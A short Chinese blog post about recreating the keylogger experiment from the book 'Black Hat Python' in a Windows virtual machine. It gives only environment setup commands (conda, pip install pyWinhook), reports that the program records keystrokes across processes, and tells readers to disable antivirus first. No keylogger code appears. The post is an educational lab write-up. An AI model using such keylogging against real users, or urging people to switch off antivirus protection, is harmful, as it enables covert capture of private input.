近期收到了電子工業出版社贈送的一本網絡安全書籍《python黑帽子》，書中一共24個實驗，今天復現第19個實驗（ 鍵盤記錄），我的測試環境是windows虛擬機+conda開發環境+python3.7。這個實驗非常有趣，在windows環境下，可以記錄不同進程下鍵盤的記錄，比如我在notepad記事本上敲下“您好”，程序運行就會得到“ninhao”這樣的拼音，這種程序一般會被殺毒軟件攔截，因此做實驗之前請關閉殺毒軟件～
這裡實驗環境選擇 python3.7，這樣幾乎不用改代碼，否則代碼可能有不兼容的地方，需要自己手動修改～
conda create -n py3.7hack python=3.7
conda activate py3.7hack
# conda install -c conda-forge pywinhook （python3.6環境）
pip install pyWinhook
實驗演示結果如下：
